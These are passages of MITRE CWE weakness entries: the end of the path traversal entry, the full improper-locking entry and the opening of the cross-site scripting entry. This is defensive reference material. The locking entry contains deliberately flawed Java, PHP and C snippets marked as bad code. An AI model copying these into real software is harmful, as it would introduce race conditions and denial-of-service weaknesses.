Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.21Pathname Traversal and Equivalence Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
SEI CERT Perl Coding StandardIDS00-PLExactCanonicalize path names before validating them
WASC33Path Traversal
Software Fault PatternsSFP16Path Traversal
OMG ASCSMASCSM-CWE-22
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-667: Improper Locking

Weakness ID: 667
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not properly acquire a lock on a resource, or it does not properly release a lock on a resource, leading to unexpected resource state changes and behaviors.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.662Improper Synchronization
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.412Unrestricted Externally Accessible Lock
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.413Improper Resource Locking
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.414Missing Lock Check
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.609Double-Checked Locking
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.764Multiple Locks of a Critical Resource
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.765Multiple Unlocks of a Critical Resource
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.832Unlock of a Resource that is not Locked
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.833Deadlock
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.662Improper Synchronization
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.764Multiple Locks of a Critical Resource
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.765Multiple Unlocks of a Critical Resource
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.832Unlock of a Resource that is not Locked
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.833Deadlock
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU)

Inconsistent locking discipline can lead to deadlock.
+ Demonstrative Examples

Example 1

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

(bad code)
Example Language: Java 
private long someLongValue;
public long getLongValue() {
return someLongValue;
}

public void setLongValue(long l) {
someLongValue = l;
}

Example 2

This code tries to obtain a lock for a file, then writes to it.

(bad code)
Example Language: PHP 
function writeToLog($message){
$logfile = fopen("logFile.log", "a");
//attempt to get logfile lock
if (flock($logfile, LOCK_EX)) {
fwrite($logfile,$message);
// unlock logfile
flock($logfile, LOCK_UN);
}
else {
print "Could not obtain lock on logFile.log, message not recorded\n";
}
}
fclose($logFile);

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

(good code)
 
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 4

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

(bad code)
Example Language: Java 
if (helper == null) {
synchronized (this) {
if (helper == null) {
helper = new Helper();
}
}
}
return helper;

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

(bad code)
 
helper = new Helper();

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

+ Observed Examples
ReferenceDescription
Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.
Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
OS kernel performs an unlock in some incorrect circumstances, leading to panic.
OS deadlock
OS deadlock involving 3 separate functions
deadlock in library
deadlock triggered by packets that force collisions in a routing table
read/write deadlock between web server and script
web server deadlock involving multiple listening connections
multiple simultaneous calls to the same function trigger deadlock.
chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
deadlock when an operation is performed on a resource while it is being removed.
Deadlock in device driver triggered by using file handle of a related device.
Deadlock when large number of small messages cannot be processed quickly enough.
OS kernel has deadlock triggered by a signal during a core dump.
Race condition leads to deadlock.
Chain: array index error (CWE-129) leads to deadlock (CWE-833)
Program can not execute when attacker obtains a mutex.
Program can not execute when attacker obtains a lock on a critical output file.
Program can not execute when attacker obtains a lock on a critical output file.
Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
Chain: Lock files with predictable names. Resultant from randomness.
Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
+ Potential Mitigations

Phase: Implementation

Strategy: Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.853The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1143SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingCON31-CCWE More AbstractDo not destroy a mutex while it is locked
CERT C Secure CodingPOS48-CCWE More AbstractDo not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)VNA00-JEnsure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)VNA02-JEnsure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)VNA05-JEnsure atomicity when reading and writing 64-bit values
The CERT Oracle Secure Coding Standard for Java (2011)LCK06-JDo not use an instance lock to protect shared static data
Software Fault PatternsSFP19Missing Lock
OMG ASCSMASCSM-CWE-667
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-667. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Common_Consequences
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Insufficient Locking

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Abstraction: Base
Structure: Simple
Status: Usable
Presentation Filter:
+ Description
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  • 1. Untrusted data enters a web application, typically from a web request.
  • 2. The web application dynamically generates a web page that contains this untrusted data.
  • 3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  • 4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  • 5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  • 6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
"XSS" is a common abbreviation for Cross-Site Scripting.
HTML Injection:
"HTML injection" is used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.84Improper Neutralization of Encoded URI Schemes in a Web Page
